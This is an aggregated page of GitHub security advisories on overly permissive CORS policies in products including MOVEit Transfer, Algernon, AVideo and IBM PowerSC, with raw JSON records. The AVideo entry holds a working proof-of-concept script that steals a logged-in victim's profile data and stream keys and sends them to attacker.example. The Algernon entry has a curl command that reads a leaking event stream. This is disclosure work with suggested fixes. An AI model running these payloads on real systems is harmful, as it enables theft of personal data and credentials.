Vulnerability-Lookup

GHSA-9RCG-65VX-H53X

Vulnerability from github – Published: 2026-07-23 21:31 – Updated: 2026-07-23 21:31

Details

Permissive cross-domain security policy with untrusted domains vulnerability in Progress MOVEit Transfer.

This issue affects MOVEit Transfer: before 2025.1.5, from 2026.0.0 before 2026.0.3.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2026-15966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T21:17:02Z",
    "severity": "HIGH"
  },
  "details": "Permissive cross-domain security policy with untrusted domains vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.5, from 2026.0.0 before 2026.0.3.",
  "id": "GHSA-9rcg-65vx-h53x",
  "modified": "2026-07-23T21:31:02Z",
  "published": "2026-07-23T21:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15966"
    },
    {
      "type": "WEB",
      "url": "https://docs.progress.com/bundle/moveit-transfer-release-notes-2026/page/Fixed-Issues-in-2026.0.3.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9V4J-7G44-QCQW

Vulnerability from github – Published: 2026-05-19 14:36 – Updated: 2026-05-19 14:36

Summary

Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication

Details

Summary

When auto-refresh is enabled, Algernon spins up an SSE handler that streams a data: line for every filesystem event under the watched directory. The handler performs no authentication of any kind — no shared token, no cookie check against the permissions2 userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.

This advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.

Details

Root cause — the SSE handler does not consult `permissions2` or any other auth

// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        // ... loop emits one SSE record per filename touched ...
    }
}

Note the handler signature: func(w http.ResponseWriter, _ *http.Request). The request is discarded — no Cookie, Authorization, query-string, or remote-IP check is performed before the stream begins.

In 1.17.6 the listener was placed on its own http.ServeMux (recwatch/eventserver.go:200-215), wholly outside the perm.Rejected middleware chain that gates Algernon's main HTTP listener. Even an operator who had configured admin/user path prefixes via perm.AddAdminPath, set a cookieSecret, and forced authentication on every URL of the main server had no way to gate this listener — it was unreachable from the mux argument the perm middleware uses.

Why authentication matters for this listener

The stream contents are not public data. They reveal:

Which files the developer is actively editing, with sub-second timing precision.
The existence of files inside the watched root (including files the operator may have meant to keep private — .env.local, secrets.lua, in-progress draft files).
By inference, the directory layout of the project.

A client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite for {} loop — there is no natural session boundary or expiry.

Source-level evidence

$ rg -n 'GenFileChangeEvents|EventServer\(' vendor/github.com/xyproto/recwatch/
vendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
vendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {

$ rg -n 'Cookie|Authorization|Token|state\.User' vendor/github.com/xyproto/recwatch/eventserver.go
# zero matches — no authentication primitive is referenced anywhere in the file

PoC (against 1.17.6)

# 1. Operator runs algernon with auto-refresh on a project directory:
algernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows

# 2. Any client that can reach the listener connects without credentials:
curl -sN http://<server>:5553/sse
# => id: 0
#    data: /path/to/project/secret-notes.md
#
#    id: 1
#    data: /path/to/project/.env.local

No Cookie, no Authorization, no X-Token, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.

Impact

Confidentiality: medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.
Integrity: none.
Availability: low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.

Suggestions to fix

Primary fix — require a shared secret on the SSE endpoint. The auto-refresh feature already injects a script into served HTML (engine/sse.go:118-165); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:

// engine/sse.go -- in InsertAutoRefresh
tmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes

// JS:
//   var source = new EventSource('...?token={{.SessionToken}}');

// recwatch handler:
//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get("token")),
//                                 []byte(serverToken)) != 1 {
//       http.Error(w, "forbidden", http.StatusForbidden); return
//   }

Cookie-bearing requests work too if recwatch.EventServer is moved behind perm.Rejected (see "Defence in depth"). The token approach is the smaller change.

Defence in depth — mount the SSE handler on the main mux. Moving recwatch.EventServerHandler onto the main http.ServeMux automatically places the SSE handler behind whatever middleware the operator has configured — perm.Rejected, tollbooth, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses perm.Rejected because it uses its own http.ServeMux, and that path needs the token fix from "Primary fix" above.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site
$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse > stream.txt &
    sleep 1
    echo "edit-1" >> poc2/site/secret-notes.md
    echo "edit-2" >> poc2/site/.env.local
    wait )
$ cat stream.txt
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\secret-notes.md

id: 1
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\.env.local

No Cookie, no Authorization header. Stream delivered.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:36:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen auto-refresh is enabled, Algernon spins up an SSE handler that streams a `data:` line for every filesystem event under the watched directory. The handler performs **no authentication** of any kind \u2014 no shared token, no cookie check against the `permissions2` userstate, no IP allow-list, no path-prefix permission. Any client that can complete a TCP connection to the listener address receives the stream.\n\nThis advisory covers the authentication gap in isolation. The cross-origin browser-reach (advisory #2b) and the network-reach (advisory #2c) amplify the impact, but each is independently fixable; this finding addresses the case where a same-origin or LAN-local client connects directly to the SSE port and reads the stream without proving anything about its identity.\n\n### Details\n\n#### Root cause \u2014 the SSE handler does not consult `permissions2` or any other auth\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-144  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        // ... loop emits one SSE record per filename touched ...\n    }\n}\n```\n\nNote the handler signature: `func(w http.ResponseWriter, _ *http.Request)`. The request is discarded \u2014 no `Cookie`, `Authorization`, query-string, or remote-IP check is performed before the stream begins.\n\nIn 1.17.6 the listener was placed on its own `http.ServeMux` ([recwatch/eventserver.go:200-215](../vendor/github.com/xyproto/recwatch/eventserver.go)), wholly outside the `perm.Rejected` middleware chain that gates Algernon\u0027s main HTTP listener. Even an operator who had configured admin/user path prefixes via `perm.AddAdminPath`, set a `cookieSecret`, and forced authentication on every URL of the main server had no way to gate this listener \u2014 it was unreachable from the `mux` argument the perm middleware uses.\n\n#### Why authentication matters for this listener\n\nThe stream contents are not public data. They reveal:\n\n- Which files the developer is actively editing, with sub-second timing precision.\n- The existence of files inside the watched root (including files the operator may have meant to keep private \u2014 `.env.local`, `secrets.lua`, in-progress draft files).\n- By inference, the directory layout of the project.\n\nA client that can connect to the listener obtains a low-rate continuous information disclosure for the lifetime of the connection. The handler is an infinite `for {}` loop \u2014 there is no natural session boundary or expiry.\n\n#### Source-level evidence\n\n```text\n$ rg -n \u0027GenFileChangeEvents|EventServer\\(\u0027 vendor/github.com/xyproto/recwatch/\nvendor/github.com/xyproto/recwatch/eventserver.go:101:func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\nvendor/github.com/xyproto/recwatch/eventserver.go:177:func EventServer(path, allowed, eventAddr, eventPath string, refreshDuration time.Duration) {\n\n$ rg -n \u0027Cookie|Authorization|Token|state\\.User\u0027 vendor/github.com/xyproto/recwatch/eventserver.go\n# zero matches \u2014 no authentication primitive is referenced anywhere in the file\n```\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator runs algernon with auto-refresh on a project directory:\nalgernon -a /path/to/project   # spins up :5553 on Linux/macOS, localhost:5553 on Windows\n\n# 2. Any client that can reach the listener connects without credentials:\ncurl -sN http://\u003cserver\u003e:5553/sse\n# =\u003e id: 0\n#    data: /path/to/project/secret-notes.md\n#\n#    id: 1\n#    data: /path/to/project/.env.local\n```\n\nNo `Cookie`, no `Authorization`, no `X-Token`, no preflight, no challenge. The connection succeeds and the stream is delivered for as long as the client keeps the socket open.\n\n### Impact\n\n- **Confidentiality:** medium. Continuous information disclosure of filenames and edit timing to anyone who can connect.\n- **Integrity:** none.\n- **Availability:** low. Each connection consumes a goroutine indefinitely; many simultaneous connections can exhaust descriptors.\n\n### Suggestions to fix\n\n**Primary fix \u2014 require a shared secret on the SSE endpoint.** The auto-refresh feature already injects a script into served HTML ([engine/sse.go:118-165](../engine/sse.go)); that script knows the SSE URL. Add a per-startup token, embed it in the injected JS, and require it on the SSE request:\n\n```go\n// engine/sse.go -- in InsertAutoRefresh\ntmplData.SessionToken = ac.sseToken    // generated once at startup, e.g. crypto/rand 32 bytes\n\n// JS:\n//   var source = new EventSource(\u0027...?token={{.SessionToken}}\u0027);\n\n// recwatch handler:\n//   if subtle.ConstantTimeCompare([]byte(r.URL.Query().Get(\"token\")),\n//                                 []byte(serverToken)) != 1 {\n//       http.Error(w, \"forbidden\", http.StatusForbidden); return\n//   }\n```\n\nCookie-bearing requests work too if `recwatch.EventServer` is moved behind `perm.Rejected` (see \"Defence in depth\"). The token approach is the smaller change.\n\n**Defence in depth \u2014 mount the SSE handler on the main mux.** Moving `recwatch.EventServerHandler` onto the main `http.ServeMux` automatically places the SSE handler behind whatever middleware the operator has configured \u2014 `perm.Rejected`, `tollbooth`, custom auth wrappers. This closes the same-origin half of the gap without a per-token implementation. Any dedicated-port path bypasses `perm.Rejected` because it uses its own `http.ServeMux`, and that path needs the token fix from \"Primary fix\" above.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18781 --quiet poc2/site\n$ ( curl -sN --max-time 4 http://127.0.0.1:5553/sse \u003e stream.txt \u0026\n    sleep 1\n    echo \"edit-1\" \u003e\u003e poc2/site/secret-notes.md\n    echo \"edit-2\" \u003e\u003e poc2/site/.env.local\n    wait )\n$ cat stream.txt\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\secret-notes.md\n\nid: 1\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\.env.local\n```\n\nNo `Cookie`, no `Authorization` header. Stream delivered.",
  "id": "GHSA-9v4j-7g44-qcqw",
  "modified": "2026-05-19T14:36:34Z",
  "published": "2026-05-19T14:36:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-9v4j-7g44-qcqw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication"
}

GHSA-C8F3-GJ35-46CF

Vulnerability from github – Published: 2024-06-13 15:30 – Updated: 2024-06-13 15:30

Details

SCG Policy Manager, all versions, contains an overly permissive Cross-Origin Resource Policy (CORP) vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the execution of malicious actions on the application in the context of the authenticated user.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-37131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T15:15:52Z",
    "severity": "HIGH"
  },
  "details": "SCG Policy Manager, all versions, contains an overly permissive Cross-Origin Resource Policy (CORP) vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the execution of malicious actions on the application in the context of the authenticated user.",
  "id": "GHSA-c8f3-gj35-46cf",
  "modified": "2024-06-13T15:30:37Z",
  "published": "2024-06-13T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37131"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000225956/dsa-2024-254-security-update-for-dell-secure-connect-gateway-policy-manager-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CCQ9-R5CW-5HWQ

Vulnerability from github – Published: 2026-04-14 23:18 – Updated: 2026-04-24 20:40

Summary

WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

Details

Summary

The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

Details

The vulnerable code path is in objects/functions.php lines 2773-2791:

// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... allows all methods and headers ...
    return;
}

This is called unconditionally at the top of both API entry points:

// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.

The attack is enabled by the session cookie configuration at objects/include_config.php:144:

ini_set('session.cookie_samesite', 'None');

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).

When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including: - Email, full name, address, phone, birth date (PII) - Admin status and permission flags - Livestream server URL with embedded password (API.php:3059) - Encrypted stream key (API.php:3063)

The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., https://attacker.example):

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.

Impact

User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
State modification: The set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:

// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = '';
        if (!empty($global['webSiteRootURL'])) {
            $parsed = parse_url($global['webSiteRootURL']);
            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
                if (!empty($parsed['port'])) {
                    $siteOrigin .= ':' . $parsed['port'];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            header('Access-Control-Allow-Credentials: true');
        } else {
            // For truly public resources (ad XML), allow without credentials
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... rest of headers ...
}

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

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To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:18:19Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` \u2014 the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application\u0027s `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n        header(\u0027Access-Control-Allow-Credentials: true\u0027);\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... allows all methods and headers ...\n    return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" \u2014 this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n```\n\nThis ensures the browser sends the victim\u0027s session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION[\u0027user\u0027][\u0027id\u0027]` (in `User::getId()`).\n\nWhen a logged-in user\u0027s session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user\u0027s own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch(\u0027https://TARGET/plugin/API/get.json.php?APIName=user\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n  document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon(\u0027https://attacker.example/collect\u0027,\n    JSON.stringify({\n      email: data.user?.email,\n      name: data.user?.user,\n      isAdmin: data.user?.isAdmin,\n      streamKey: data.livestream?.key,\n      streamServer: data.livestream?.server\n    })\n  );\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker\u0027s JavaScript reads the full authenticated API response containing the victim\u0027s email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required \u2014 a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site\u0027s configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 \u2014 replace the $allowAll block with:\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        // Validate origin against site domain before reflecting\n        $siteOrigin = \u0027\u0027;\n        if (!empty($global[\u0027webSiteRootURL\u0027])) {\n            $parsed = parse_url($global[\u0027webSiteRootURL\u0027]);\n            if (!empty($parsed[\u0027scheme\u0027]) \u0026\u0026 !empty($parsed[\u0027host\u0027])) {\n                $siteOrigin = $parsed[\u0027scheme\u0027] . \u0027://\u0027 . $parsed[\u0027host\u0027];\n                if (!empty($parsed[\u0027port\u0027])) {\n                    $siteOrigin .= \u0027:\u0027 . $parsed[\u0027port\u0027];\n                }\n            }\n        }\n        if ($requestOrigin === $siteOrigin) {\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            header(\u0027Access-Control-Allow-Credentials: true\u0027);\n        } else {\n            // For truly public resources (ad XML), allow without credentials\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            // Do NOT set Allow-Credentials for untrusted origins\n        }\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.",
  "id": "GHSA-ccq9-r5cw-5hwq",
  "modified": "2026-04-24T20:40:43Z",
  "published": "2026-04-14T23:18:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover"
}

GHSA-CVV3-VCH8-MP39

Vulnerability from github – Published: 2024-08-02 00:31 – Updated: 2024-08-02 00:31

Details

Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-32862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-01T22:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.",
  "id": "GHSA-cvv3-vch8-mp39",
  "modified": "2024-08-02T00:31:25Z",
  "published": "2024-08-02T00:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32862"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-02"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4W8-52PM-GHR9

Vulnerability from github – Published: 2024-02-02 03:30 – Updated: 2024-02-02 03:30

Details

IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains. IBM X-Force ID: 275130.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-50940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-02T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.  IBM X-Force ID:  275130.\n\n",
  "id": "GHSA-f4w8-52pm-ghr9",
  "modified": "2024-02-02T03:30:32Z",
  "published": "2024-02-02T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50940"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/275130"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7113759"
    }
  ],
